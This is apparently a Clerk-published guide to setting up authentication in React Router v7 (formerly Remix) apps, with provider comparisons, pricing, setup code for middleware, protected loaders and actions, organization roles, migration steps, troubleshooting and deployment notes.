## Remix v2 vs React Router v7: what this guide covers

The Remix team merged their framework into React Router. What was scoped as Remix v3 shipped as [React Router v7](https://remix.run/blog/react-router-v7) in December 2024, and the Remix team now works on React Router v7 as the successor. Remix v2 is a supported legacy path.

Clerk has two SDKs:

1. [`@clerk/react-router`](https://www.npmjs.com/package/@clerk/react-router): actively developed, [targets React Router v7.1.2+ in framework mode](/docs/react-router/getting-started/quickstart). **Use this for new apps.**
2. [`@clerk/remix`](https://www.npmjs.com/package/@clerk/remix): in maintenance mode (security updates only), for apps still on Remix v2.

If you're starting fresh, use React Router v7 and `@clerk/react-router`. If you have a Remix v2 app, you have two choices: migrate to React Router v7 (it's mostly import renames, and there's an [official codemod](https://reactrouter.com/upgrading/remix)), or stay on Remix v2 and use `@clerk/remix`. This guide targets React Router v7 throughout.

> \[!NOTE]
> React Router v7 has three modes: declarative, data, and framework. This article covers **framework mode**, which gives you file-based routing, loaders, actions, SSR by default, and the Vite plugin. If you're in declarative mode (SPA-only), most patterns still apply, but you won't have server-side loaders.

## Authentication options for Remix applications

Three broad paths: build it yourself, use a library like `remix-auth`, or use a managed provider. Each comes with its own tradeoffs.

### Option 1: DIY with session cookies and password hashing

Roll your own using Remix's `createCookieSessionStorage` plus `bcrypt` or `argon2` for password hashing. Realistic time to build the basics (email + password, one social provider, MFA, password reset): 40–60 hours before you're done. You get full control and no per-user cost.

You also own every OWASP concern: [session management](/glossary#session-management), session fixation, rotation, breach detection, [rate limiting](/glossary#rate-limiting), [bot detection](/glossary#bot-detection), [email verification](/glossary#verified-email), [CSRF](/glossary#cross-site-request-forgery-csrf) tokens, and account recovery. You build the UI, too. Good fit for teams with a security specialist and a hard cost ceiling.

### Option 2: remix-auth with strategy packages

[`remix-auth`](https://github.com/sergiodxa/remix-auth) is a strategy-based library. Current stable is v4.2.0, [\~74k weekly downloads](https://www.npmjs.com/package/remix-auth), and it works with React Router v7. You write an `Authenticator` and plug in strategies: `FormStrategy`, `OAuth2Strategy`, and so on.

It's flexible and typed and free. You still own session management, storage, and UI. The `remix-auth-socials` V3 release is beta/broken for several providers on React Router v7 (Discord, LinkedIn, X), and `remix-auth-clerk` hasn't seen meaningful updates. No prebuilt UI, no MFA, no passkeys. Good fit for developers who want library-level control and are okay without [step-up auth](/glossary#step-up-authentication) or hosted UI.

### Option 3: Managed authentication providers

Prebuilt UI, hosted sessions, SOC 2 (and often HIPAA) compliance, and [SDKs](/glossary#software-development-kit-sdk) you install with one command. You trade control for speed and safety.

1. **Clerk**: best DX for the React/React Router ecosystem. 50,000 [MRU](/glossary#monthly-retained-users-mrus) on the free plan. Prebuilt UI, organizations, bot detection, and passkeys included. MFA and passkeys on Pro.
2. **Auth0**: enterprise-grade SAML and SCIM. Around $3,500/mo at 100K MAU on the Professional tier. Mature but expensive. No dedicated React Router SDK.
3. **Supabase Auth**: [cheapest at scale (\~$188/mo at 100K MAU)](https://supabase.com/pricing) and tightly integrated with Supabase Postgres. No [passkeys](/glossary#passkeys), no SAML, and the prebuilt Auth UI was archived in October 2025.
4. **WorkOS**: [free up to 1M users](https://workos.com/pricing). B2B-focused: SAML, SCIM, and organizations are first-class. Purpose-built for selling to enterprise customers from day one.

### MRU vs MAU: a note on billing metrics

Clerk bills on **Monthly Retained Users (MRU)**, defined as a user who returns to your app 24+ hours after signing up in a given month. Supabase, Auth0, and WorkOS bill on Monthly Active Users (MAU). MRU is narrower (signup-only visits don't count), so the metric is typically lower than MAU for the same app. Use each provider's own metric when comparing prices.

### How to choose

1. Need speed, polished UI, and organizations at small-to-medium scale → Clerk.
2. Need the cheapest option at 100K+ users and you're already on Supabase → Supabase Auth.
3. Need SAML/SCIM day one for enterprise sales → WorkOS, Auth0 or Clerk.
4. Need full control and no third party in the loop → DIY or remix-auth.

## Why Clerk fits Remix and React Router natively

Clerk's React Router SDK was built around the framework's model. Three things line up directly with how React Router works:

**A unified SDK across Remix and React Router.** `@clerk/react-router` targets React Router v7 framework mode. Remix v2 apps that have migrated to the v7 code path use the same SDK. Single source of truth for auth across both framework generations.

**Built around loaders, actions, and SSR.** `clerkMiddleware()` runs before every loader and action so auth state is ready when your handler runs. `rootAuthLoader()` hydrates auth state server-side in `root.tsx`, which means `<ClerkProvider>` is never "loading" on first paint. `getAuth(args)` reads the session inside any loader or action with the same signature.

Here's the shape of what that looks like:

```tsx
// app/root.tsx (abbreviated)
import { ClerkProvider } from '@clerk/react-router'
import { clerkMiddleware, rootAuthLoader } from '@clerk/react-router/server'

export const middleware: Route.MiddlewareFunction[] = [clerkMiddleware()]
export const loader = (args: Route.LoaderArgs) => rootAuthLoader(args)

export default function App({ loaderData }: Route.ComponentProps) {
  return <ClerkProvider loaderData={loaderData}>{/* app */}</ClerkProvider>
}
```

**Prebuilt, accessible UI components.** `<SignIn />`, `<SignUp />`, `<UserButton />`, `<UserProfile />`, and `<OrganizationSwitcher />` render into your layout. Style them with `appearance.variables` (design tokens), `appearance.elements` (per-element class maps), or full theme objects. Keyboard navigation, screen-reader labels, and focus management are handled.

**Hosted session infrastructure.** [Session JWTs](/glossary#json-web-token) last 60 seconds and are auto-refreshed every 50 seconds (10 seconds of slack for network latency). Two [cookies](/glossary#httponly-cookies) are in play: a short-lived `__session` JWT on your app domain and a long-lived HttpOnly `__client` cookie on Clerk's Frontend API domain. A handshake redirect refreshes the session server-side on expiry. Clerk also issues JWTs you can use to call your own APIs with `getToken()`.

**Everything in the box for most apps.** [OAuth](/glossary#oauth) with 30+ providers, email + [one-time passcodes](/glossary#one-time-passcodes-email-sms), [organizations](/glossary#organizations) (admin/member roles, 100 [MROs](/glossary#monthly-retained-organizations-mros) included, 20 members per org) on the free plan. MFA (TOTP, SMS, backup codes) and passkeys are included on Pro ($25/mo, or $20/mo billed annually) after [Clerk's February 2026 plan restructure](/changelog/2026-02-05-new-plans-more-value) absorbed the former Enhanced Authentication add-on. Custom roles, unlimited org members, Verified Domains, Auto Invitations, and Enterprise SSO scoped to organizations require the separate B2B Authentication add-on ($100/mo, or $85/mo billed annually).

## Setting up a new Remix app with Clerk

Full walkthrough, copy-paste friendly. If you already have a React Router v7 app, jump to step 3.

### Prerequisites

- [ ] Node.js 20+ (LTS recommended)
- [ ] `npm`, `pnpm`, or `bun`
- [ ] A free Clerk account
- [ ] (For production) Google and/or GitHub OAuth credentials

### 1. Create the React Router v7 project

Run the official `create-react-router` CLI:

```bash
npx create-react-router@latest auth-app
cd auth-app
npm install
```

The generator scaffolds `app/root.tsx`, `app/routes.ts`, a default `app/routes/home.tsx`, and the `react-router.config.ts` file you'll edit in step 5.

### 2. Create a Clerk application

Open the [Clerk dashboard](https://dashboard.clerk.com), click [**Create application**](https://dashboard.clerk.com/apps/new), and pick your identifiers and social providers. For this walkthrough, enable **Email address**, **Google**, and **GitHub**. Copy the two keys that appear on the next screen; you'll paste them into `.env.local` in step 4.

### 3. Install `@clerk/react-router`

One package:

```bash
npm install @clerk/react-router
```

### 4. Add environment variables

Create `.env.local` in the project root and paste the [keys](https://dashboard.clerk.com/~/api-keys) from the Clerk dashboard:

```bash
VITE_CLERK_PUBLISHABLE_KEY=pk_test_xxx
CLERK_SECRET_KEY=sk_test_xxx
```

The `VITE_` prefix is required for Vite to expose the value to the client. The [secret key](/glossary#secret-key) has no prefix and stays on the server.

### 5. Enable the middleware future flag

React Router v7 puts middleware behind a stable future flag, `v8_middleware`, which [became stable in React Router v7.9.0](https://github.com/remix-run/react-router/blob/main/CHANGELOG.md) (September 2025). Edit `react-router.config.ts`:

```ts
import type { Config } from '@react-router/dev/config'

export default {
  ssr: true,
  future: {
    v8_middleware: true,
  },
} satisfies Config
```

> \[!NOTE]
> If you're on React Router v7.3.0–v7.8.x, the flag was called `unstable_middleware`. Upgrade to v7.9.0+ and use `v8_middleware`; `@clerk/react-router` targets the stable flag.

### 6. Wire up `app/root.tsx`

Three exports do the heavy lifting: `middleware`, `loader`, and a `<ClerkProvider>` around your `<Outlet />`. The full file:

```tsx
// app/root.tsx
import { ClerkProvider, SignInButton, SignUpButton, Show, UserButton } from '@clerk/react-router'
import { clerkMiddleware, rootAuthLoader } from '@clerk/react-router/server'
import { isRouteErrorResponse, Links, Meta, Outlet, Scripts, ScrollRestoration } from 'react-router'
import type { Route } from './+types/root'

export const middleware: Route.MiddlewareFunction[] = [clerkMiddleware()]
export const loader = (args: Route.LoaderArgs) => rootAuthLoader(args)

export function Layout({ children }: { children: React.ReactNode }) {
  return (
    <html lang="en">
      <head>
        <meta charSet="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1" />
        <Meta />
        <Links />
      </head>
      <body>
        {children}
        <ScrollRestoration />
        <Scripts />
      </body>
    </html>
  )
}

export default function App({ loaderData }: Route.ComponentProps) {
  return (
    <ClerkProvider loaderData={loaderData}>
      <header className="flex items-center justify-end gap-2 p-4">
        <Show when="signed-out">
          <SignInButton />
          <SignUpButton />
        </Show>
        <Show when="signed-in">
          <UserButton />
        </Show>
      </header>
      <Outlet />
    </ClerkProvider>
  )
}

export function ErrorBoundary({ error }: Route.ErrorBoundaryProps) {
  let message = 'Oops!'
  let details = 'An unexpected error occurred.'

  if (isRouteErrorResponse(error)) {
    message = error.status === 404 ? '404' : 'Error'
    details =
      error.status === 404 ? 'The requested page could not be found.' : error.statusText || details
  }

  return (
    <main className="p-4">
      <h1>{message}</h1>
      <p>{details}</p>
    </main>
  )
}
```

Two things to notice. First, `clerkMiddleware()` is exported as an array; React Router middleware is always an array export, even with a single entry. Second, `loaderData` flows from the `rootAuthLoader` return value through React Router's type-generated `Route.ComponentProps` into `<ClerkProvider>`, which is how auth state gets hydrated on the first render.

### 7. Verify the app boots signed out

Start the dev server:

```bash
npm run dev
```

Open `http://localhost:5173`. You should see the header with **Sign in** and **Sign up** buttons. Clicking either opens Clerk's modal. Sign up with an email address, confirm the OTP, and the header switches to show `<UserButton />`. If the buttons are missing or the page errors, jump to the troubleshooting section.

## Adding authentication UI

Out-of-the-box modals (via `<SignInButton />` / `<SignUpButton />`) work. For most apps you'll want dedicated sign-in and sign-up routes so the URLs are bookmarkable and the flows can own the full page.

### A dedicated sign-in route

Clerk's sign-in component is mounted at a splat route so it can handle its internal sub-paths (OAuth callbacks, two-factor challenges, etc.). Create `app/routes/sign-in.tsx`:

```tsx
// app/routes/sign-in.tsx
import { SignIn } from '@clerk/react-router'

export default function SignInPage() {
  return (
    <div className="flex min-h-screen items-center justify-center">
      <SignIn />
    </div>
  )
}
```

Register it in `app/routes.ts` as a splat:

```ts
// app/routes.ts
import { type RouteConfig, index, route } from '@react-router/dev/routes'

export default [
  index('routes/home.tsx'),
  route('sign-in/*', 'routes/sign-in.tsx'),
  route('sign-up/*', 'routes/sign-up.tsx'),
] satisfies RouteConfig
```

Then tell Clerk to use these URLs in `.env.local`:

```bash
VITE_CLERK_SIGN_IN_URL=/sign-in
VITE_CLERK_SIGN_UP_URL=/sign-up
VITE_CLERK_SIGN_IN_FALLBACK_REDIRECT_URL=/
VITE_CLERK_SIGN_UP_FALLBACK_REDIRECT_URL=/
```

### A dedicated sign-up route

Same pattern. Create `app/routes/sign-up.tsx`:

```tsx
// app/routes/sign-up.tsx
import { SignUp } from '@clerk/react-router'

export default function SignUpPage() {
  return (
    <div className="flex min-h-screen items-center justify-center">
      <SignUp />
    </div>
  )
}
```

The `sign-up/*` entry is already in `app/routes.ts` from the previous step.

### `<UserButton />` for the account menu

Already wired up in `root.tsx`. Useful props: `afterSignOutUrl` (where to go after sign-out), `userProfileMode` (`"modal"` or `"navigation"`), and `appearance` for customization. `<UserButton />` shows the user's avatar with a dropdown that includes account management, sign-out, and (if enabled) organization switching.

### `<UserProfile />` for self-service account management

Drop the `<UserProfile />` component onto its own route to let users manage email, password, MFA, connected accounts, and sessions without you building any of it:

```tsx
// app/routes/user-profile.tsx
import { UserProfile } from '@clerk/react-router'

export default function UserProfilePage() {
  return (
    <div className="flex min-h-screen items-center justify-center">
      <UserProfile />
    </div>
  )
}
```

Register `route('user-profile/*', 'routes/user-profile.tsx')` the same way as the sign-in route. The page covers everything: profile data, passkeys, connected accounts, active [sessions](/glossary#session), MFA setup, and sign-out.

### Configuring email + one-time code

In the Clerk dashboard:

1. Go to **Configure → User & authentication** and open the [**Email**](https://dashboard.clerk.com/~/user-authentication/user-and-authentication?user_auth_tab=email) tab.
2. Enable **Email address** as an identifier.
3. Under verification methods, enable **Email verification code**.
4. Save.

No code changes needed. `<SignIn />` and `<SignUp />` will show the email + OTP flow automatically.

### Configuring Google and GitHub social login

Also in the dashboard:

1. Go to **Configure → User & authentication → SSO connections** and select the [**Social**](https://dashboard.clerk.com/~/user-authentication/sso-connections/social) tab.
2. Toggle **Google**. In development you can use Clerk's shared OAuth credentials for fast iteration. For production, add your own Client ID and Secret from [Google Cloud Console](https://console.cloud.google.com/).
3. Toggle **GitHub**. Same deal: shared creds in dev, your own in production.
4. Save.

`<SignIn />` and `<SignUp />` render the enabled providers as buttons. No code change required.

## Protecting routes in Remix

Two protection surfaces exist in a React Router app: server-side (loaders, actions) and client-side (UI gating). Always protect the server side. Client-side gates are for UX only; they can't stop someone from hitting a loader URL directly.

### Server-side protection with `getAuth()` in a loader

The canonical pattern for any SSR React Router app:

```tsx
// app/routes/dashboard.tsx
import { getAuth } from '@clerk/react-router/server'
import { redirect } from 'react-router'
import type { Route } from './+types/dashboard'

export async function loader(args: Route.LoaderArgs) {
  const { isAuthenticated, userId } = await getAuth(args)

  if (!isAuthenticated) {
    throw redirect('/sign-in?redirect_url=' + args.request.url)
  }

  return { userId }
}

export default function Dashboard({ loaderData }: Route.ComponentProps) {
  return <h1>Hello, {loaderData.userId}</h1>
}
```

Notice `throw redirect(...)`: React Router treats thrown `Response` objects as loader bailouts. Using `throw` (not `return`) short-circuits the rest of the loader cleanly. The `redirect_url` query param lets the sign-in flow return the user to their original destination after auth.

### Protecting mutations inside actions

Same signature, same check:

```tsx
// app/routes/notes.new.tsx
import { getAuth } from '@clerk/react-router/server'
import { redirect } from 'react-router'
import type { Route } from './+types/notes.new'

export async function action(args: Route.ActionArgs) {
  const { isAuthenticated, userId } = await getAuth(args)

  if (!isAuthenticated) {
    throw redirect('/sign-in')
  }

  const formData = await args.request.formData()
  const content = formData.get('content')?.toString() ?? ''

  // ... save note with userId
  return { ok: true }
}
```

Every mutation needs this check. Don't rely on the UI hiding the form; a curl request hits the action regardless.

### Client-side UI gating with `<Show>`

For hiding or showing parts of the UI based on auth state, `<Show>` is the primary component in [Clerk Core 3](/changelog/2026-03-03-core-3):

```tsx
import { Show, SignInButton } from '@clerk/react-router'

export default function Home() {
  return (
    <>
      <Show when="signed-in">
        <DashboardWidget />
      </Show>
      <Show when="signed-out">
        <SignInButton />
      </Show>
    </>
  )
}
```

The legacy `<SignedIn>` / `<SignedOut>` components still work for projects on older Core versions, but new code should use `<Show>`. It's one component with a typed `when` prop and a consistent API for authentication, roles, permissions, plans, and features.

## Working with authentication in loaders and actions

`getAuth(args)` returns more than just `userId`. The full shape covers everything you usually need on the server.

### Reading `userId` and session claims

The `Auth` object includes `userId`, `sessionId`, `sessionClaims`, `orgId`, `orgRole`, `orgSlug`, `has()`, and `getToken()`:

```tsx
// app/routes/settings.tsx
import { getAuth } from '@clerk/react-router/server'
import { redirect } from 'react-router'
import type { Route } from './+types/settings'

export async function loader(args: Route.LoaderArgs) {
  const { isAuthenticated, userId, sessionClaims, orgId } = await getAuth(args)

  if (!isAuthenticated) throw redirect('/sign-in')

  return {
    userId,
    email: sessionClaims?.email,
    orgId,
  }
}
```

`sessionClaims` is the decoded JWT payload. The default claim shape is minimal (ID, org context); add more via [JWT templates](https://dashboard.clerk.com/~/jwt-templates) ([seedocs](/docs/guides/sessions/jwt-templates)) in the Clerk dashboard.

### Fetching the full User object

If you need profile data (name, email addresses, public metadata, etc.), reach for the Backend SDK via the `clerkClient` helper that ships with `@clerk/react-router/server`:

```tsx
// app/routes/profile.tsx
import { clerkClient, getAuth } from '@clerk/react-router/server'
import { redirect } from 'react-router'
import type { Route } from './+types/profile'

export async function loader(args: Route.LoaderArgs) {
  const { isAuthenticated, userId } = await getAuth(args)
  if (!isAuthenticated) throw redirect('/sign-in')

  const user = await clerkClient(args).users.getUser(userId)

  return {
    firstName: user.firstName,
    primaryEmail: user.primaryEmailAddress?.emailAddress,
  }
}
```

`clerkClient(args)` returns a pre-configured Backend SDK instance scoped to the current request. You can also list users, update metadata, create organization memberships, and anything else the Backend SDK exposes.

### Calling your own API with a Clerk-issued JWT

Client-side, `useAuth().getToken()` returns a short-lived JWT you attach to outbound requests:

```tsx
// app/routes/some-client-page.tsx
import { useAuth } from '@clerk/react-router'

export function CallMyApi() {
  const { getToken } = useAuth()

  async function handleClick() {
    const token = await getToken()
    // Replace with your own API URL.
    await fetch('https://api.example.com/things', {
      headers: { Authorization: `Bearer ${token}` },
    })
  }

  return <button onClick={handleClick}>Call API</button>
}
```

Server-side (in your own API, not in the same Remix app), verify the token with `verifyToken` from `@clerk/backend`:

```ts
// external-api/verify.ts
import { verifyToken } from '@clerk/backend'

export async function authenticate(authHeader: string | null) {
  const token = authHeader?.replace('Bearer ', '')
  if (!token) throw new Error('Missing token')

  const payload = await verifyToken(token, {
    secretKey: process.env.CLERK_SECRET_KEY!,
  })
  return payload.sub // Clerk user ID
}
```

The default token expires in 60 seconds. If your API needs custom claims or a longer-lived token for a specific integration, configure a [JWT template](https://dashboard.clerk.com/~/jwt-templates) in the Clerk dashboard and call `getToken({ template: 'my-template' })`.

## Organizations and role-based access

Clerk's organizations feature gives you multi-tenant B2B primitives on the free plan: admin/member [roles](/glossary#roles), memberships, invites, and switching.

### Enabling organizations in the Clerk dashboard

1. Open the dashboard.
2. Navigate to **Configure → Organizations → [Settings](https://dashboard.clerk.com/~/organizations-settings)** and toggle organizations on.
3. (Optional) Configure which users can create organizations.
4. Save.

Free plan limits: 100 MROs (Monthly Retained Organizations) included, 20 members per org, and the two built-in roles (`org:admin`, `org:member`). The Pro plan keeps the same organization limits unless you add the B2B Authentication add-on.

### Using the `<OrganizationSwitcher />` component

One line in your header lets users create, switch, and manage organizations:

```tsx
// app/root.tsx (header section)
import { OrganizationSwitcher, Show } from '@clerk/react-router'

export function AppHeader() {
  return (
    <header>
      <Show when="signed-in">
        <OrganizationSwitcher />
      </Show>
    </header>
  )
}
```

The component shows the user's personal account, their organizations, and controls to create or leave orgs.

### The built-in admin and member roles

Every user in an organization has exactly one role: `org:admin` or `org:member`. Admins can invite new members, remove members, and manage billing (if billing is enabled). Members can use the app inside the org but can't administer it.

### Gating routes and UI by role

Server-side, use the `has()` helper returned from `getAuth()`:

```tsx
// app/routes/org-admin.tsx
import { getAuth } from '@clerk/react-router/server'
import { redirect } from 'react-router'
import type { Route } from './+types/org-admin'

export async function loader(args: Route.LoaderArgs) {
  const { isAuthenticated, has } = await getAuth(args)

  if (!isAuthenticated) throw redirect('/sign-in')
  if (!has({ role: 'org:admin' })) throw redirect('/')

  return null
}

export default function OrgAdmin() {
  return <h1>Org admin panel</h1>
}
```

Client-side, `<Show>` takes the same role predicate:

```tsx
import { Show } from '@clerk/react-router'

export function AdminSettings() {
  return (
    <Show when={{ role: 'org:admin' }}>
      <button>Delete organization</button>
    </Show>
  )
}
```

### Custom roles and permissions via the B2B Authentication add-on

The base plans ship the `org:admin` / `org:member` pair only. Custom roles (designer, billing\_manager, etc.), custom permissions (`org:invoices:create`), Rolesets, unlimited members per organization, Verified Domains, Auto Invitations, and Enterprise SSO scoped to organizations require Clerk's B2B Authentication add-on ($100/mo monthly, $85/mo billed annually). The add-on sits on top of either Free or Pro. Without it, you stay on the built-in role pair. See [Clerk Pricing](/pricing) and [Roles and Permissions](/docs/guides/organizations/control-access/roles-and-permissions) for the full matrix.

## Adding Clerk to an existing Remix or React Router application

If you already have an app, you're not starting from zero. The migration is small and incremental.

### Migration checklist

1. Install `@clerk/react-router`.
2. Set `VITE_CLERK_PUBLISHABLE_KEY` and `CLERK_SECRET_KEY`.
3. Enable `future: { v8_middleware: true }` in `react-router.config.ts`.
4. Export `middleware = [clerkMiddleware()]` from `app/root.tsx`.
5. Add a `loader` that calls `rootAuthLoader(args)` to `app/root.tsx`.
6. Wrap your `<Outlet />` with `<ClerkProvider loaderData={loaderData}>`.
7. Create splat routes for `/sign-in` and `/sign-up` with `<SignIn />` and `<SignUp />`.
8. Replace existing auth checks in loaders and actions with `getAuth(args)`.
9. Run your users through [Clerk's user migration tooling](/docs/guides/development/migrating/overview) or trickle migration on sign-in.

### Replacing remix-auth strategies

If you were using `remix-auth`, the migration is mostly mechanical:

| Before (remix-auth)                                  | After (Clerk)                         |
| ---------------------------------------------------- | ------------------------------------- |
| `FormStrategy` (email/password)                      | `<SignIn />`                          |
| OAuth strategies (Google, GitHub, etc.)              | Enable providers in Clerk dashboard   |
| `authenticator.isAuthenticated(request)`             | `await getAuth(args)`                 |
| `authenticator.logout(request, { redirectTo: '/' })` | `await signOut({ redirectUrl: '/' })` |

All the strategy-specific code disappears. OAuth providers move from app code to dashboard toggles.

### Running Clerk alongside an existing session

During a phased migration you can feature-flag which users go through Clerk. In a loader:

```ts
// app/lib/auth.ts
import { getAuth } from '@clerk/react-router/server'
import type { LoaderFunctionArgs } from 'react-router'
import { getLegacySession, isClerkEnabledForUser } from './legacy-session'

export async function getCurrentUser(args: LoaderFunctionArgs) {
  const useClerk = await isClerkEnabledForUser(args.request)

  if (useClerk) {
    const { userId } = await getAuth(args)
    return userId ? { provider: 'clerk' as const, id: userId } : null
  }

  const session = await getLegacySession(args.request)
  return session ? { provider: 'legacy' as const, id: session.userId } : null
}
```

Clerk's cookies (`__session`, `__client`) don't conflict with a legacy cookie on a different name. If your legacy app uses `__session`, rename it before the migration starts.

### User data migration

Clerk's [user migration tooling](/docs/guides/development/migrating/overview) covers two official approaches: a one-shot Basic Export/Import using the [open-source migration script](https://github.com/clerk/migration-script) or a Trickle Migration that rehashes insecure passwords to bcrypt on each successful legacy sign-in. Under the hood, both go through the Backend API's [`createUser()`](/docs/reference/backend/user/create-user), which accepts pre-hashed passwords via the `password_digest` + `password_hasher` fields.

Supported hasher values cover most legacy stacks: `bcrypt`, `argon2i`, `argon2id`, `pbkdf2_sha256`, `pbkdf2_sha512`, `scrypt_firebase`, `scrypt_werkzeug`, `awscognito`, `phpass`, and others. Insecure hashers (`md5`, `sha256`, `sha512_symfony`) import successfully and are transparently upgraded to bcrypt on first sign-in.

Three pragmatic strategies:

1. **Basic Export/Import with password hashes**: cleanest if your hashes are bcrypt, argon2, or a supported pbkdf2/scrypt variant with reasonable cost factors.
2. **Force password reset via magic link**: safer if hashes are weak or use an algorithm you'd rather not carry forward.
3. **Trickle migration on first sign-in**: create the Clerk user on first successful legacy sign-in, then cut over. Easiest path if your legacy password stack is non-standard.

## Comparing authentication approaches for Remix

Six common options, one row each. Assume 100K users for the cost column (Clerk uses MRU; other providers use MAU, per the MRU note above).

| Approach                  | Setup  | Cost @ 100K users                   | Prebuilt UI |    MFA   |   SAML/SCIM   | Maintenance |
| ------------------------- | ------ | ----------------------------------- | :---------: | :------: | :-----------: | ----------- |
| DIY (sessions + bcrypt)   | 40–60h | Infra only ($25–50/mo)              |             | Build it |               | You         |
| `remix-auth` + strategies | 20–30h | Infra only                          |             |          |               | Community   |
| Clerk                     | \~2h   | \~$1,025/mo (Pro + 50K MRU overage) |             |    Pro   | Pro (metered) | Clerk       |
| Auth0                     | 2–3d   | \~$3,500+/mo                        |             |          |               | Auth0       |
| Supabase Auth             | 1–2d   | \~$188/mo                           |   Archived  |   TOTP   |               | Supabase    |
| WorkOS                    | 1d     | Free up to 1M users                 |             |          |               | WorkOS      |

A few notes on the numbers. Clerk's row assumes Pro ($25/mo) plus the $0.02/MRU overage for 50,001–100,000 MRU, which comes out to \~$1,025/mo; rates decline in higher tiers. Auth0's \~$3,500/mo estimate is based on the Professional tier at 100K MAU. Supabase Auth at 100K MAU hits the $25 Pro base plus $0.00325/MAU overage above the 50K free tier (\~$188/mo). WorkOS is free up to 1M users, and you pay for enterprise connections separately.

**When DIY makes sense.** Full data sovereignty is non-negotiable, and you have security expertise in-house.

**When `remix-auth` makes sense.** You want email + password only, no MFA, no hosted UI, and you're okay owning session management.

**When a managed provider makes sense.** The default for most teams. Choose Clerk for React/React Router DX, Supabase if already on Supabase, Auth0/WorkOS if you're selling to enterprise customers with SAML/SCIM from day one.

## Common errors and troubleshooting

Nine real errors you'll hit, with symptoms and fixes.

**1. "clerkMiddleware must be called"**. The middleware future flag is off, or you didn't export middleware from `root.tsx`. Fix: set `future: { v8_middleware: true }` in `react-router.config.ts` and export `const middleware: Route.MiddlewareFunction[] = [clerkMiddleware()]` from `app/root.tsx`.

**2. "useNavigate() may be used only in the context of a Router component"**. You wrapped the Router in `<ClerkProvider>` instead of the other way around. Fix: keep `<ClerkProvider>` inside the default export of `root.tsx`, wrapping `<Outlet />`. React Router's router context must be set up first.

**3. Missing or mismatched environment variables**. You used `CLERK_PUBLISHABLE_KEY` (no prefix) in a Vite project. Fix: rename to `VITE_CLERK_PUBLISHABLE_KEY` for the client-exposed value. `CLERK_SECRET_KEY` stays unprefixed.

**4. `getAuth()` returns `isAuthenticated: false` when you know you're signed in**. Middleware isn't running. Fix: confirm `future: { v8_middleware: true }` in the config and `middleware = [clerkMiddleware()]` in `root.tsx`. Restart the dev server after changing the config.

**5. SSR hydration warnings around auth state**. `<ClerkProvider>` is missing the `loaderData` prop. Fix: export a `loader` from `root.tsx` that returns `rootAuthLoader(args)`, then pass `loaderData` (from `Route.ComponentProps`) to `<ClerkProvider loaderData={loaderData}>`.

**6. Cookie domain / Secure / SameSite issues**. Cookies aren't reaching the app, usually because the production domain isn't registered in Clerk or you're testing over plain HTTP with `Secure` cookies. Fix: for production, add your apex domain in the Clerk dashboard under [**Domains**](https://dashboard.clerk.com/~/domains). For local development with `ngrok` or a tunnel, use the HTTPS URL.

**7. `CLERK_SECRET_KEY` or `CLERK_PUBLISHABLE_KEY` not found on Cloudflare Workers**. The worker entry file is not passing the Cloudflare bindings into React Router's context. `@clerk/react-router` resolves env vars through a fallback chain that checks `context.cloudflare.env` automatically, but only if the request handler is given that shape. Fix: make sure `workers/app.ts` (the Cloudflare Workers entry) forwards `env` as `cloudflare.env`:

```ts
// workers/app.ts (Cloudflare Workers entry)
import { createRequestHandler } from 'react-router'

declare global {
  interface CloudflareEnvironment extends Env {}
}

const requestHandler = createRequestHandler(
  () => import('virtual:react-router/server-build'),
  import.meta.env.MODE,
)

export default {
  async fetch(request, env, ctx) {
    return requestHandler(request, {
      cloudflare: { env, ctx },
    })
  },
} satisfies ExportedHandler<CloudflareEnvironment>
```

With that entry in place, `clerkMiddleware()` called with no arguments resolves both keys from `context.cloudflare.env` — no explicit `publishableKey` / `secretKey` props needed. Set the secrets with `wrangler secret put CLERK_SECRET_KEY` (and the publishable key as a plaintext binding or secret).

**8. Infinite redirect loop on sign-out with React Router v7 middleware**. Documented in [clerk/javascript#5304](https://github.com/clerk/javascript/issues/5304), closed July 2025 pending React Router middleware graduating from unstable. The original reporter's own root-cause analysis attributed the loop to a user-land `requireUserId` helper throwing a `redirect` inside custom middleware. Fix: verify `v8_middleware: true`, verify `clerkMiddleware()` is exported from `root.tsx`, call `signOut({ redirectUrl: '/' })` with an explicit URL, and don't throw redirects from inside your own custom middleware. Do auth checks in loaders instead.

**9. "Invalid future flag: v8\_middleware" on older React Router**. The flag was `unstable_middleware` in React Router v7.3.0–v7.8.x and became `v8_middleware` in v7.9.0 (September 2025). Fix: upgrade to React Router v7.9.0 or later (recommended) and use `future: { v8_middleware: true }`. If you're pinned to an older minor, `future: { unstable_middleware: true }` is the temporary equivalent, but plan to upgrade since `@clerk/react-router` targets the stable flag.

## Deployment considerations

Three platforms cover most React Router apps: Vercel, Cloudflare Workers/Pages, and Node hosts (Fly.io, Railway, Render).

### Vercel

Vercel has native React Router v7 support. Set `VITE_CLERK_PUBLISHABLE_KEY` and `CLERK_SECRET_KEY` in **Project Settings → Environment Variables**, with different values per environment (Production, Preview, Development). Use the default Node.js runtime; Clerk is fully supported there. Production Clerk keys (starting with `pk_live_` / `sk_live_`) won't work with auto-generated preview URLs, so use development keys for previews or set up a staging Clerk instance that accepts your preview domain pattern.

### Cloudflare Workers and Pages

Two specific gotchas.

First, environment variables aren't on `process.env`; they're on the `env` binding provided by Wrangler. The canonical fix is to let the Cloudflare Workers template wire `env` into React Router's context as `context.cloudflare.env` (the `workers/app.ts` entry from the [Cloudflare React Router guide](https://developers.cloudflare.com/workers/framework-guides/web-apps/react-router/) does this by default). Once context is populated, `clerkMiddleware()` called with no arguments resolves `CLERK_SECRET_KEY` and `CLERK_PUBLISHABLE_KEY` from `context.cloudflare.env` automatically — no explicit key-passing required. See the Cloudflare error fix in the troubleshooting section above for the entry-file shape.

Second, DNS records for custom domains need to be in **DNS only** mode (gray cloud in the Cloudflare dashboard), not proxied (orange cloud). Proxying mangles the cookie path and breaks the handshake flow.

### Node hosts: Fly.io, Railway, Render

Docker-based Fly.io uses `fly secrets set CLERK_SECRET_KEY=sk_live_...`. Railway and Render expose env-var UI in their dashboards. Nothing Clerk-specific beyond setting the two keys; Clerk runs on the default Node runtime without adapter shims.

### Production environment checklist

1. `VITE_CLERK_PUBLISHABLE_KEY=pk_live_...` set per-environment
2. `CLERK_SECRET_KEY=sk_live_...` set per-environment
3. `VITE_CLERK_SIGN_IN_URL=/sign-in` and `VITE_CLERK_SIGN_UP_URL=/sign-up`
4. Production domain added to Clerk dashboard under [**Domains**](https://dashboard.clerk.com/~/domains)
5. OAuth providers configured with custom credentials (Clerk's shared dev credentials don't work in production)
